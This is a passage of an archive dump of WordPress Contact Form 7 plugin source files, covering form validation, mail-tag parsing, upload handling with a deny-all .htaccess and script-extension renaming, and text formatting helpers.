 * Enqueues scripts and styles for the HTML5 fallback.
 */
function wpcf7_html5_fallback() {
	if ( ! wpcf7_support_html5_fallback() ) {
		return;
	}

	if ( wpcf7_script_is() ) {
		wp_enqueue_script( 'contact-form-7-html5-fallback' );
	}

	if ( wpcf7_style_is() ) {
		wp_enqueue_style( 'jquery-ui-smoothness' );
	}
}
contact-form-7/includes/validation.php000064400000006341147510273060013766 0ustar00<?php

/**
 * Server-side user input validation manager.
 */
class WPCF7_Validation implements ArrayAccess {
	private $invalid_fields = array();
	private $container = array();

	public function __construct() {
		$this->container = array(
			'valid' => true,
			'reason' => array(),
			'idref' => array(),
		);
	}


	/**
	 * Marks a form control as an invalid field.
	 *
	 * @param WPCF7_FormTag|array|string $context Context representing the
	 *                                   target field.
	 * @param WP_Error|string $error The error of the field.
	 */
	public function invalidate( $context, $error ) {
		if ( $context instanceof WPCF7_FormTag ) {
			$tag = $context;
		} elseif ( is_array( $context ) ) {
			$tag = new WPCF7_FormTag( $context );
		} elseif ( is_string( $context ) ) {
			$tags = wpcf7_scan_form_tags( array( 'name' => trim( $context ) ) );
			$tag = $tags ? new WPCF7_FormTag( $tags[0] ) : null;
		}

		$name = ! empty( $tag ) ? $tag->name : null;

		if ( empty( $name )
		or ! wpcf7_is_name( $name ) ) {
			return;
		}

		if ( is_wp_error( $error ) ) {
			$message = $error->get_error_message();
		} else {
			$message = $error;
		}

		if ( $this->is_valid( $name ) ) {
			$id = $tag->get_id_option();

			if ( empty( $id )
			or ! wpcf7_is_name( $id ) ) {
				$id = null;
			}

			$this->invalid_fields[$name] = array(
				'reason' => (string) $message,
				'idref' => $id,
			);
		}
	}


	/**
	 * Returns true if the target field is valid.
	 *
	 * @param string|null $name Optional. If specified, this is the name of
	 *                    the target field. Default null.
	 * @return bool True if the target field has no error. If no target is
	 *              specified, returns true if all fields are valid.
	 *              Otherwise false.
	 */
	public function is_valid( $name = null ) {
		if ( ! empty( $name ) ) {
			return ! isset( $this->invalid_fields[$name] );
		} else {
			return empty( $this->invalid_fields );
		}
	}


	/**
	 * Retrieves an associative array of invalid fields.
	 *
	 * @return array The associative array of invalid fields.
	 */
	public function get_invalid_fields() {
		return $this->invalid_fields;
	}


	/**
	 * Assigns a value to the specified offset.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetset.php
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		if ( isset( $this->container[$offset] ) ) {
			$this->container[$offset] = $value;
		}

		if ( 'reason' == $offset
		and is_array( $value ) ) {
			foreach ( $value as $k => $v ) {
				$this->invalidate( $k, $v );
			}
		}
	}


	/**
	 * Returns the value at specified offset.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetget.php
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		if ( isset( $this->container[$offset] ) ) {
			return $this->container[$offset];
		}
	}


	/**
	 * Returns true if the specified offset exists.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		return isset( $this->container[$offset] );
	}


	/**
	 * Unsets an offset.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
	}

}
contact-form-7/includes/mail-tag.php000064400000010142147510273060013321 0ustar00<?php

/**
 * Class that represents a mail-tag.
 */
class WPCF7_MailTag {

	private $tag;
	private $tagname = '';
	private $name = '';
	private $options = array();
	private $values = array();
	private $form_tag = null;


	/**
	 * The constructor method.
	 */
	public function __construct( $tag, $tagname, $values ) {
		$this->tag = $tag;
		$this->name = $this->tagname = $tagname;

		$this->options = array(
			'do_not_heat' => false,
			'format' => '',
		);

		if ( ! empty( $values ) ) {
			preg_match_all( '/"[^"]*"|\'[^\']*\'/', $values, $matches );
			$this->values = wpcf7_strip_quote_deep( $matches[0] );
		}

		if ( preg_match( '/^_raw_(.+)$/', $tagname, $matches ) ) {
			$this->name = trim( $matches[1] );
			$this->options['do_not_heat'] = true;
		}

		if ( preg_match( '/^_format_(.+)$/', $tagname, $matches ) ) {
			$this->name = trim( $matches[1] );
			$this->options['format'] = $this->values[0];
		}
	}


	/**
	 * Returns the name part of this mail-tag.
	 */
	public function tag_name() {
		return $this->tagname;
	}


	/**
	 * Returns the form field name corresponding to this mail-tag.
	 */
	public function field_name() {
		return strtr( $this->name, '.', '_' );
	}


	/**
	 * Returns the value of the specified option.
	 */
	public function get_option( $option ) {
		return $this->options[$option];
	}


	/**
	 * Returns the values part of this mail-tag.
	 */
	public function values() {
		return $this->values;
	}


	/**
	 * Retrieves the WPCF7_FormTag object that corresponds to this mail-tag.
	 */
	public function corresponding_form_tag() {
		if ( $this->form_tag instanceof WPCF7_FormTag ) {
			return $this->form_tag;
		}

		if ( $submission = WPCF7_Submission::get_instance() ) {
			$contact_form = $submission->get_contact_form();
			$tags = $contact_form->scan_form_tags( array(
				'name' => $this->field_name(),
				'feature' => '! zero-controls-container',
			) );

			if ( $tags ) {
				$this->form_tag = $tags[0];
			}
		}

		return $this->form_tag;
	}

}


use Contactable\SWV;

/**
 * Mail-tag output calculator.
 */
class WPCF7_MailTag_OutputCalculator {

	const email = 0b100;
	const text = 0b010;
	const blank = 0b001;

	private $contact_form;

	public function __construct( WPCF7_ContactForm $contact_form ) {
		$this->contact_form = $contact_form;
	}

	public function calc_output( WPCF7_MailTag $mail_tag ) {
		return $this->calc_swv_result(
			$mail_tag,
			$this->contact_form->get_schema()
		);
	}

	private function calc_swv_result( WPCF7_MailTag $mail_tag, SWV\Rule $rule ) {

		if ( $rule instanceof SWV\AnyRule ) {
			$result = 0b000;

			foreach ( $rule->rules() as $child_rule ) {
				$result |= $this->calc_swv_result( $mail_tag, $child_rule );
			}

			return $result;
		}

		if ( $rule instanceof SWV\CompositeRule ) {
			$result = 0b111;

			foreach ( $rule->rules() as $child_rule ) {
				$result &= $this->calc_swv_result( $mail_tag, $child_rule );
			}

			return $result;
		}

		$field_prop = $rule->get_property( 'field' );

		if ( empty( $field_prop ) or $field_prop !== $mail_tag->field_name() ) {
			return self::email | self::text | self::blank;
		}

		if ( $rule instanceof SWV\RequiredRule ) {
			return ~ self::blank;
		}

		if ( $rule instanceof SWV\EmailRule ) {
			return self::email | self::blank;
		}

		if ( $rule instanceof SWV\EnumRule ) {
			$acceptable_values = (array) $rule->get_property( 'accept' );
			$acceptable_values = array_map( 'strval', $acceptable_values );
			$acceptable_values = array_filter( $acceptable_values );
			$acceptable_values = array_unique( $acceptable_values );

			if ( ! $mail_tag->get_option( 'do_not_heat' ) ) {
				$pipes = $this->contact_form->get_pipes(
					$mail_tag->field_name()
				);

				$acceptable_values = array_map(
					static function ( $val ) use ( $pipes ) {
						return $pipes->do_pipe( $val );
					},
					$acceptable_values
				);
			}

			$email_values = array_filter(
				$acceptable_values,
				'wpcf7_is_mailbox_list'
			);

			if ( count( $email_values ) === count( $acceptable_values ) ) {
				return self::email | self::blank;
			} else {
				return self::email | self::text | self::blank;
			}
		}

		return self::email | self::text | self::blank;
	}

}
contact-form-7/includes/file.php000064400000024236147510273060012556 0ustar00<?php

/**
 * Validates uploaded files and moves them to the temporary directory.
 *
 * @param array $file An item of `$_FILES`.
 * @param string|array $options Optional. Options to control behavior.
 * @return array|WP_Error Array of file paths, or WP_Error if validation fails.
 */
function wpcf7_unship_uploaded_file( $file, $options = '' ) {
	$options = wp_parse_args( $options, array(
		'required' => false,
		'filetypes' => '',
		'limit' => MB_IN_BYTES,
	) );

	foreach ( array( 'name', 'size', 'tmp_name', 'error' ) as $key ) {
		if ( ! isset( $file[$key] ) ) {
			$file[$key] = array();
		}
	}

	$names = wpcf7_array_flatten( $file['name'] );
	$sizes = wpcf7_array_flatten( $file['size'] );
	$tmp_names = wpcf7_array_flatten( $file['tmp_name'] );
	$errors = wpcf7_array_flatten( $file['error'] );

	foreach ( $errors as $error ) {
		if ( ! empty( $error ) and UPLOAD_ERR_NO_FILE !== $error ) {
			return new WP_Error( 'wpcf7_upload_failed_php_error',
				wpcf7_get_message( 'upload_failed_php_error' )
			);
		}
	}

	if ( isset( $options['schema'] ) and isset( $options['name'] ) ) {
		$context = array(
			'file' => true,
			'field' => $options['name'],
		);

		foreach ( $options['schema']->validate( $context ) as $result ) {
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}
	}

	// Move uploaded file to tmp dir
	$uploads_dir = wpcf7_upload_tmp_dir();
	$uploads_dir = wpcf7_maybe_add_random_dir( $uploads_dir );

	$uploaded_files = array();

	foreach ( $names as $key => $name ) {
		$tmp_name = $tmp_names[$key];

		if ( empty( $tmp_name ) or ! is_uploaded_file( $tmp_name ) ) {
			continue;
		}

		$filename = $name;
		$filename = wpcf7_canonicalize( $filename, array( 'strto' => 'as-is' ) );
		$filename = wpcf7_antiscript_file_name( $filename );

		$filename = apply_filters( 'wpcf7_upload_file_name',
			$filename, $name, $options
		);

		$filename = wp_unique_filename( $uploads_dir, $filename );
		$new_file = path_join( $uploads_dir, $filename );

		if ( false === @move_uploaded_file( $tmp_name, $new_file ) ) {
			return new WP_Error( 'wpcf7_upload_failed',
				wpcf7_get_message( 'upload_failed' )
			);
		}

		// Make sure the uploaded file is only readable for the owner process
		chmod( $new_file, 0400 );

		$uploaded_files[] = $new_file;
	}

	return $uploaded_files;
}


add_filter(
	'wpcf7_messages',
	'wpcf7_file_messages',
	10, 1
);

/**
 * A wpcf7_messages filter callback that adds messages for
 * file-uploading fields.
 */
function wpcf7_file_messages( $messages ) {
	return array_merge( $messages, array(
		'upload_failed' => array(
			'description' => __( "Uploading a file fails for any reason", 'contact-form-7' ),
			'default' => __( "There was an unknown error uploading the file.", 'contact-form-7' ),
		),

		'upload_file_type_invalid' => array(
			'description' => __( "Uploaded file is not allowed for file type", 'contact-form-7' ),
			'default' => __( "You are not allowed to upload files of this type.", 'contact-form-7' ),
		),

		'upload_file_too_large' => array(
			'description' => __( "Uploaded file is too large", 'contact-form-7' ),
			'default' => __( "The uploaded file is too large.", 'contact-form-7' ),
		),

		'upload_failed_php_error' => array(
			'description' => __( "Uploading a file fails for PHP error", 'contact-form-7' ),
			'default' => __( "There was an error uploading the file.", 'contact-form-7' ),
		),
	) );
}


add_filter(
	'wpcf7_form_enctype',
	'wpcf7_file_form_enctype_filter',
	10, 1
);

/**
 * A wpcf7_form_enctype filter callback that sets the enctype attribute
 * to multipart/form-data if the form has file-uploading fields.
 */
function wpcf7_file_form_enctype_filter( $enctype ) {
	$multipart = (bool) wpcf7_scan_form_tags( array(
		'feature' => 'file-uploading',
	) );

	if ( $multipart ) {
		$enctype = 'multipart/form-data';
	}

	return $enctype;
}


/**
 * Converts a MIME type string to an array of corresponding file extensions.
 *
 * @param string $mime MIME type.
 *                     Wildcard (*) is available for the subtype part.
 * @return array Corresponding file extensions.
 */
function wpcf7_convert_mime_to_ext( $mime ) {
	static $mime_types = array();

	$mime_types = wp_get_mime_types();

	$results = array();

	if ( preg_match( '%^([a-z]+)/([*]|[a-z0-9.+-]+)$%i', $mime, $matches ) ) {
		foreach ( $mime_types as $key => $val ) {
			if ( '*' === $matches[2] and str_starts_with( $val, $matches[1] . '/' )
		 	or $val === $matches[0] ) {
				$results = array_merge( $results, explode( '|', $key ) );
			}
		}
	}

	$results = array_unique( $results );
	$results = array_filter( $results );
	$results = array_values( $results );

	return $results;
}


/**
 * Returns a formatted list of acceptable filetypes.
 *
 * @param string|array $types Optional. Array of filetypes.
 * @param string $format Optional. Pre-defined format designator.
 * @return string Formatted list of acceptable filetypes.
 */
function wpcf7_acceptable_filetypes( $types = 'default', $format = 'regex' ) {
	if ( 'default' === $types or empty( $types ) ) {
		$types = array(
			'audio/*',
			'video/*',
			'image/*',
		);
	} else {
		$types = array_map(
			static function ( $type ) {
				if ( is_string( $type ) ) {
					return preg_split( '/[\s|,]+/', strtolower( $type ) );
				}
			},
			(array) $types
		);

		$types = wpcf7_array_flatten( $types );
		$types = array_filter( array_unique( $types ) );
	}

	if ( 'attr' === $format or 'attribute' === $format ) {
		$types = array_map(
			static function ( $type ) {
				if ( false === strpos( $type, '/' ) ) {
					return sprintf( '.%s', trim( $type, '.' ) );
				} elseif ( preg_match( '%^([a-z]+)/[*]$%i', $type, $matches ) ) {
					if ( in_array( $matches[1], array( 'audio', 'video', 'image' ) ) ) {
						return $type;
					} else {
						return '';
					}
				} elseif ( wpcf7_convert_mime_to_ext( $type ) ) {
					return $type;
				}
			},
			$types
		);

		$types = array_filter( $types );

		return implode( ',', $types );

	} elseif ( 'regex' === $format ) {
		$types = array_map(
			static function ( $type ) {
				if ( false === strpos( $type, '/' ) ) {
					return preg_quote( trim( $type, '.' ) );
				} elseif ( $type = wpcf7_convert_mime_to_ext( $type ) ) {
					return $type;
				}
			},
			$types
		);

		$types = wpcf7_array_flatten( $types );
		$types = array_filter( array_unique( $types ) );

		return implode( '|', $types );
	}

	return '';
}


add_action(
	'wpcf7_init',
	'wpcf7_init_uploads',
	10, 0
);

/**
 * Initializes the temporary directory for uploaded files.
 */
function wpcf7_init_uploads() {
	$dir = wpcf7_upload_tmp_dir();

	if ( is_dir( $dir ) and is_writable( $dir ) ) {
		$htaccess_file = path_join( $dir, '.htaccess' );

		if ( file_exists( $htaccess_file ) ) {
			list( $first_line_comment ) = (array) file(
				$htaccess_file,
				FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES
			);

			if ( '# Apache 2.4+' === $first_line_comment ) {
				return;
			}
		}

		if ( $handle = @fopen( $htaccess_file, 'w' ) ) {
			fwrite( $handle, "# Apache 2.4+\n" );
			fwrite( $handle, "<IfModule authz_core_module>\n" );
			fwrite( $handle, "    Require all denied\n" );
			fwrite( $handle, "</IfModule>\n" );
			fwrite( $handle, "\n" );
			fwrite( $handle, "# Apache 2.2\n" );
			fwrite( $handle, "<IfModule !authz_core_module>\n" );
			fwrite( $handle, "    Deny from all\n" );
			fwrite( $handle, "</IfModule>\n" );

			fclose( $handle );
		}
	}
}


/**
 * Creates a child directory with a randomly generated name.
 *
 * @param string $dir The parent directory path.
 * @return string The child directory path if created, otherwise the parent.
 */
function wpcf7_maybe_add_random_dir( $dir ) {
	do {
		$rand_max = mt_getrandmax();
		$rand = zeroise( mt_rand( 0, $rand_max ), strlen( $rand_max ) );
		$dir_new = path_join( $dir, $rand );
	} while ( file_exists( $dir_new ) );

	if ( wp_mkdir_p( $dir_new ) ) {
		return $dir_new;
	}

	return $dir;
}


/**
 * Returns the directory path for uploaded files.
 *
 * @return string Directory path.
 */
function wpcf7_upload_tmp_dir() {
	if ( defined( 'WPCF7_UPLOADS_TMP_DIR' ) ) {
		$dir = path_join( WP_CONTENT_DIR, WPCF7_UPLOADS_TMP_DIR );
		wp_mkdir_p( $dir );

		if ( wpcf7_is_file_path_in_content_dir( $dir ) ) {
			return $dir;
		}
	}

	$dir = path_join( wpcf7_upload_dir( 'dir' ), 'wpcf7_uploads' );
	wp_mkdir_p( $dir );
	return $dir;
}


add_action(
	'shutdown',
	'wpcf7_cleanup_upload_files',
	20, 0
);

/**
 * Cleans up files in the temporary directory for uploaded files.
 *
 * @param int $seconds Files older than this are removed. Default 60.
 * @param int $max Maximum number of files to be removed in a function call.
 *                 Default 100.
 */
function wpcf7_cleanup_upload_files( $seconds = 60, $max = 100 ) {
	$dir = trailingslashit( wpcf7_upload_tmp_dir() );

	if ( ! is_dir( $dir )
	or ! is_readable( $dir )
	or ! wp_is_writable( $dir ) ) {
		return;
	}

	$seconds = absint( $seconds );
	$max = absint( $max );
	$count = 0;

	if ( $handle = opendir( $dir ) ) {
		while ( false !== ( $file = readdir( $handle ) ) ) {
			if ( '.' == $file
			or '..' == $file
			or '.htaccess' == $file ) {
				continue;
			}

			$mtime = @filemtime( path_join( $dir, $file ) );

			if ( $mtime and time() < $mtime + $seconds ) { // less than $seconds old
				continue;
			}

			wpcf7_rmdir_p( path_join( $dir, $file ) );
			$count += 1;

			if ( $max <= $count ) {
				break;
			}
		}

		closedir( $handle );
	}
}


add_action(
	'wpcf7_admin_warnings',
	'wpcf7_file_display_warning_message',
	10, 3
);

/**
 * Displays warning messages about file-uploading fields.
 */
function wpcf7_file_display_warning_message( $page, $action, $object ) {
	if ( $object instanceof WPCF7_ContactForm ) {
		$contact_form = $object;
	} else {
		return;
	}

	$has_tags = (bool) $contact_form->scan_form_tags( array(
		'feature' => 'file-uploading',
	) );

	if ( ! $has_tags ) {
		return;
	}

	$uploads_dir = wpcf7_upload_tmp_dir();

	if ( ! is_dir( $uploads_dir ) or ! wp_is_writable( $uploads_dir ) ) {
		$message = sprintf(
			/* translators: %s: the path of the temporary folder */
			__( 'This contact form has file uploading fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually.', 'contact-form-7' ),
			$uploads_dir
		);

		wp_admin_notice( esc_html( $message ), 'type=warning' );
	}
}
contact-form-7/includes/formatting.php000064400000033003147510273060014001 0ustar00<?php

/**
 * Replaces double line breaks with paragraph elements.
 *
 * @param string $input The text which has to be formatted.
 * @param bool $br Optional. If set, this will convert all remaining
 *             line breaks after paragraphing. Default true.
 * @return string Text which has been converted into correct paragraph tags.
 */
function wpcf7_autop( $input, $br = true ) {
	$placeholders = array();

	// Replace non-HTML embedded elements with placeholders.
	$input = preg_replace_callback(
		'/<(math|svg).*?<\/\1>/is',
		static function ( $matches ) use ( &$placeholders ) {
			$placeholder = sprintf(
				'<%1$s id="%2$s" />',
				WPCF7_HTMLFormatter::placeholder_inline,
				sha1( $matches[0] )
			);

			list( $placeholder ) =
				WPCF7_HTMLFormatter::normalize_start_tag( $placeholder );

			$placeholders[$placeholder] = $matches[0];

			return $placeholder;
		},
		$input
	);

	$formatter = new WPCF7_HTMLFormatter( array(
		'auto_br' => $br,
	) );

	$chunks = $formatter->separate_into_chunks( $input );

	$output = $formatter->format( $chunks );

	// Restore from placeholders.
	$output = str_replace(
		array_keys( $placeholders ),
		array_values( $placeholders ),
		$output
	);

	return $output;
}


/**
 * Newline preservation help function for wpcf7_autop().
 *
 * @deprecated 5.7 Unnecessary to use any more.
 *
 * @param array $matches preg_replace_callback() matches array.
 * @return string Text including newline placeholders.
 */
function wpcf7_autop_preserve_newline_callback( $matches ) {
	return str_replace( "\n", '<WPPreserveNewline />', $matches[0] );
}


/**
 * Sanitizes the query variables.
 *
 * @param string $text Query variable.
 * @return string Text sanitized.
 */
function wpcf7_sanitize_query_var( $text ) {
	$text = wp_unslash( $text );
	$text = wp_check_invalid_utf8( $text );

	if ( false !== strpos( $text, '<' ) ) {
		$text = wp_pre_kses_less_than( $text );
		$text = wp_strip_all_tags( $text );
	}

	$text = preg_replace( '/%[a-f0-9]{2}/i', '', $text );
	$text = preg_replace( '/ +/', ' ', $text );
	$text = trim( $text, ' ' );

	return $text;
}


/**
 * Strips quote characters surrounding the input.
 *
 * @param string $text Input text.
 * @return string Processed output.
 */
function wpcf7_strip_quote( $text ) {
	$text = trim( $text );

	if ( preg_match( '/^"(.*)"$/s', $text, $matches ) ) {
		$text = $matches[1];
	} elseif ( preg_match( "/^'(.*)'$/s", $text, $matches ) ) {
		$text = $matches[1];
	}

	return $text;
}


/**
 * Navigates through an array, object, or scalar, and
 * strips quote characters surrounding the each value.
 *
 * @param mixed $input The array or string to be processed.
 * @return mixed Processed value.
 */
function wpcf7_strip_quote_deep( $input ) {
	if ( is_string( $input ) ) {
		return wpcf7_strip_quote( $input );
	}

	if ( is_array( $input ) ) {
		$result = array();

		foreach ( $input as $key => $text ) {
			$result[$key] = wpcf7_strip_quote_deep( $text );
		}

		return $result;
	}
}


/**
 * Normalizes newline characters.
 *
 * @param string $text Input text.
 * @param string $to Optional. The newline character that is used in the output.
 * @return string Normalized text.
 */
function wpcf7_normalize_newline( $text, $to = "\n" ) {
	if ( ! is_string( $text ) ) {
		return $text;
	}

	$nls = array( "\r\n", "\r", "\n" );

	if ( ! in_array( $to, $nls ) ) {
		return $text;
	}

	return str_replace( $nls, $to, $text );
}


/**
 * Navigates through an array, object, or scalar, and
 * normalizes newline characters in the each value.
 *
 * @param mixed $input The array or string to be processed.
 * @param string $to Optional. The newline character that is used in the output.
 * @return mixed Processed value.
 */
function wpcf7_normalize_newline_deep( $input, $to = "\n" ) {
	if ( is_array( $input ) ) {
		$result = array();

		foreach ( $input as $key => $text ) {
			$result[$key] = wpcf7_normalize_newline_deep( $text, $to );
		}

		return $result;
	}

	return wpcf7_normalize_newline( $input, $to );
}


/**
 * Strips newline characters.
 *
 * @param string $text Input text.
 * @return string Processed one-line text.
 */
function wpcf7_strip_newline( $text ) {
	$text = (string) $text;
	$text = str_replace( array( "\r", "\n" ), '', $text );
	return trim( $text );
}


/**
 * Canonicalizes text.
 *
 * @param string $text Input text.
 * @param string|array|object $options Options.
 * @return string Canonicalized text.
 */
function wpcf7_canonicalize( $text, $options = '' ) {
	// for back-compat
	if ( is_string( $options ) and '' !== $options
	and false === strpos( $options, '=' ) ) {
		$options = array(
			'strto' => $options,
		);
	}

	$options = wp_parse_args( $options, array(
		'strto' => 'lower',
		'strip_separators' => false,
	) );

	static $charset = null;

	if ( ! isset( $charset ) ) {
		$charset = get_option( 'blog_charset' );

		$is_utf8 = in_array(
			$charset,
			array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' )
		);

		if ( $is_utf8 ) {
			$charset = 'UTF-8';
		}
	}

	$text = html_entity_decode( $text, ENT_QUOTES | ENT_HTML5, $charset );

	if ( function_exists( 'mb_convert_kana' ) ) {
		$text = mb_convert_kana( $text, 'asKV', $charset );
	}

	if ( $options['strip_separators'] ) {
		$text = preg_replace( '/[\r\n\t ]+/', '', $text );
	} else {
		$text = preg_replace( '/[\r\n\t ]+/', ' ', $text );
	}

	if ( 'lower' == $options['strto'] ) {
		if ( function_exists( 'mb_strtolower' ) ) {
			$text = mb_strtolower( $text, $charset );
		} else {
			$text = strtolower( $text );
		}
	} elseif ( 'upper' == $options['strto'] ) {
		if ( function_exists( 'mb_strtoupper' ) ) {
			$text = mb_strtoupper( $text, $charset );
		} else {
			$text = strtoupper( $text );
		}
	}

	$text = trim( $text );
	return $text;
}


/**
 * Returns a canonical keyword usable for a name or an ID purposes.
 */
function wpcf7_canonicalize_name( $text ) {
	return preg_replace( '/[^0-9a-z]+/i', '-', $text );
}


/**
 * Sanitizes Contact Form 7's form unit-tag.
 *
 * @param string $tag Unit-tag.
 * @return string Sanitized unit-tag.
 */
function wpcf7_sanitize_unit_tag( $tag ) {
	$tag = preg_replace( '/[^A-Za-z0-9_-]/', '', (string) $tag );
	return $tag;
}


/**
 * Converts a file name to one that is not executable as a script.
 *
 * @param string $filename File name.
 * @return string Converted file name.
 */
function wpcf7_antiscript_file_name( $filename ) {
	$filename = wp_basename( $filename );

	// Apply part of protection logic from sanitize_file_name().
	$filename = str_replace(
		array(
			'?', '[', ']', '/', '\\', '=', '<', '>', ':', ';', ',', "'", '"',
			'&', '$', '#', '*', '(', ')', '|', '~', '`', '!', '{', '}',
			'%', '+', '’', '«', '»', '”', '“', chr( 0 )
		),
		'',
		$filename
	);

	$filename = preg_replace( '/[\r\n\t -]+/', '-', $filename );
	$filename = preg_replace( '/[\pC\pZ]+/iu', '', $filename );

	$parts = explode( '.', $filename );

	if ( count( $parts ) < 2 ) {
		return $filename;
	}

	$script_pattern = '/^(php|phtml|pl|py|rb|cgi|asp|aspx)\d?$/i';

	$filename = array_shift( $parts );
	$extension = array_pop( $parts );

	foreach ( (array) $parts as $part ) {
		if ( preg_match( $script_pattern, $part ) ) {
			$filename .= '.' . $part . '_';
		} else {
			$filename .= '.' . $part;
		}
	}

	if ( preg_match( $script_pattern, $extension ) ) {
		$filename .= '.' . $extension . '_.txt';
	} else {
		$filename .= '.' . $extension;
	}

	return $filename;
}


/**
 * Masks a password with asterisks (*).
 *
 * @param int $right Length of right-hand unmasked text. Default 0.
 * @param int $left Length of left-hand unmasked text. Default 0.
 * @return string Text of masked password.
 */
function wpcf7_mask_password( $text, $right = 0, $left = 0 ) {
	$length = strlen( $text );

	$right = absint( $right );
	$left = absint( $left );

	if ( $length < $right + $left ) {
		$right = $left = 0;
	}

	if ( $length <= 48 ) {
		$masked = str_repeat( '*', $length - ( $right + $left ) );
	} elseif ( $right + $left < 48 ) {
		$masked = str_repeat( '*', 48 - ( $right + $left ) );
	} else {
		$masked = '****';
	}

	$left_unmasked = $left ? substr( $text, 0, $left ) : '';
	$right_unmasked = $right ? substr( $text, -1 * $right ) : '';

	$text = $left_unmasked . $masked . $right_unmasked;

	return $text;
}


/**
 * Returns an array of allowed HTML tags and attributes for a given context.
 *
 * @param string $context Context used to decide allowed tags and attributes.
 * @return array Array of allowed HTML tags and their allowed attributes.
 */
function wpcf7_kses_allowed_html( $context = 'form' ) {
	static $allowed_tags = array();

	if ( isset( $allowed_tags[$context] ) ) {
		return apply_filters(
			'wpcf7_kses_allowed_html',
			$allowed_tags[$context],
			$context
		);
	}

	$allowed_tags[$context] = wp_kses_allowed_html( 'post' );

	if ( 'form' === $context ) {
		$additional_tags_for_form = array(
			'button' => array(
				'disabled' => true,
				'name' => true,
				'type' => true,
				'value' => true,
			),
			'datalist' => array(),
			'fieldset' => array(
				'disabled' => true,
				'name' => true,
			),
			'input' => array(
				'accept' => true,
				'alt' => true,
				'capture' => true,
				'checked' => true,
				'disabled' => true,
				'list' => true,
				'max' => true,
				'maxlength' => true,
				'min' => true,
				'minlength' => true,
				'multiple' => true,
				'name' => true,
				'placeholder' => true,
				'readonly' => true,
				'size' => true,
				'step' => true,
				'type' => true,
				'value' => true,
			),
			'label' => array(
				'for' => true,
			),
			'legend' => array(),
			'meter' => array(
				'value' => true,
				'min' => true,
				'max' => true,
				'low' => true,
				'high' => true,
				'optimum' => true,
			),
			'optgroup' => array(
				'disabled' => true,
				'label' => true,
			),
			'option' => array(
				'disabled' => true,
				'label' => true,
				'selected' => true,
				'value' => true,
			),
			'output' => array(
				'for' => true,
				'name' => true,
			),
			'progress' => array(
				'max' => true,
				'value' => true,
			),
			'select' => array(
				'disabled' => true,
				'multiple' => true,
				'name' => true,
				'size' => true,
			),
			'textarea' => array(
				'cols' => true,
				'disabled' => true,
				'maxlength' => true,
				'minlength' => true,
				'name' => true,
				'placeholder' => true,
				'readonly' => true,
				'rows' => true,
				'spellcheck' => true,
				'wrap' => true,
			),
		);

		$additional_tags_for_form = array_map(
			static function ( $elm ) {
				$global_attributes = array(
					'aria-atomic' => true,
					'aria-checked' => true,
					'aria-describedby' => true,
					'aria-details' => true,
					'aria-disabled' => true,
					'aria-hidden' => true,
					'aria-invalid' => true,
					'aria-label' => true,
					'aria-labelledby' => true,
					'aria-live' => true,
					'aria-relevant' => true,
					'aria-required' => true,
					'aria-selected' => true,
					'class' => true,
					'data-*' => true,
					'id' => true,
					'inputmode' => true,
					'role' => true,
					'style' => true,
					'tabindex' => true,
					'title' => true,
				);

				return array_merge( $global_attributes, (array) $elm );
			},
			$additional_tags_for_form
		);

		$allowed_tags[$context] = array_merge(
			$allowed_tags[$context],
			$additional_tags_for_form
		);
	}

	return apply_filters(
		'wpcf7_kses_allowed_html',
		$allowed_tags[$context],
		$context
	);
}


/**
 * Sanitizes content for allowed HTML tags for the specified context.
 *
 * @param string $input Content to filter.
 * @param string $context Context used to decide allowed tags and attributes.
 * @return string Filtered text with allowed HTML tags and attributes intact.
 */
function wpcf7_kses( $input, $context = 'form' ) {
	$output = wp_kses(
		$input,
		wpcf7_kses_allowed_html( $context )
	);

	return $output;
}


/**
 * Returns a formatted string of HTML attributes.
 *
 * @param array $atts Associative array of attribute name and value pairs.
 * @return string Formatted HTML attributes.
 */
function wpcf7_format_atts( $atts ) {
	$atts_filtered = array();

	foreach ( $atts as $name => $value ) {
		$name = strtolower( trim( $name ) );

		if ( ! preg_match( '/^[a-z_:][a-z_:.0-9-]*$/', $name ) ) {
			continue;
		}

		static $boolean_attributes = array(
			'checked',
			'disabled',
			'inert',
			'multiple',
			'readonly',
			'required',
			'selected',
		);

		if ( in_array( $name, $boolean_attributes ) and '' === $value ) {
			$value = false;
		}

		if ( is_numeric( $value ) ) {
			$value = (string) $value;
		}

		if ( null === $value or false === $value ) {
			unset( $atts_filtered[$name] );
		} elseif ( true === $value ) {
			$atts_filtered[$name] = $name; // boolean attribute
		} elseif ( is_string( $value ) ) {
			$atts_filtered[$name] = trim( $value );
		}
	}

	$output = '';

	foreach ( $atts_filtered as $name => $value ) {
		$output .= sprintf( ' %1$s="%2$s"', $name, esc_attr( $value ) );
	}

	return trim( $output );
}


/**
 * Strips surrounding whitespaces.
 *
 * @link https://contactform7.com/2024/07/13/consistent-handling-policy-of-surrounding-whitespaces/
 *
 * @param string|array $input Input text.
 * @return string|array Output text.
 */
function wpcf7_strip_whitespaces( $input ) {
	if ( is_array( $input ) ) {
		return array_map( 'wpcf7_strip_whitespaces', $input );
	}

	// https://www.unicode.org/Public/UCD/latest/ucd/PropList.txt
	// https://tc39.es/ecma262/multipage/ecmascript-language-lexical-grammar.html
	$whitespaces = '\x09-\x0D\x20\x85\xA0\x{1680}\x{2000}-\x{200A}\x{2028}\x{2029}\x{202F}\x{205F}\x{3000}\x{FEFF}';

	// Strip leading whitespaces
	$input = preg_replace(
		sprintf( '/^[%s]+/u', $whitespaces ),
		'',
		$input
	);

	// Strip trailing whitespaces
	$input = preg_replace(
		sprintf( '/[%s]+$/u', $whitespaces ),
		'',
		$input
	);

	return $input;
}
contact-form-7/includes/functions.php000064400000037051147510273060013646 0ustar00<?php

/**
 * Returns path to a plugin file.
 *
 * @param string $path File path relative to the plugin root directory.
 * @return string Absolute file path.
 */
function wpcf7_plugin_path( $path = '' ) {
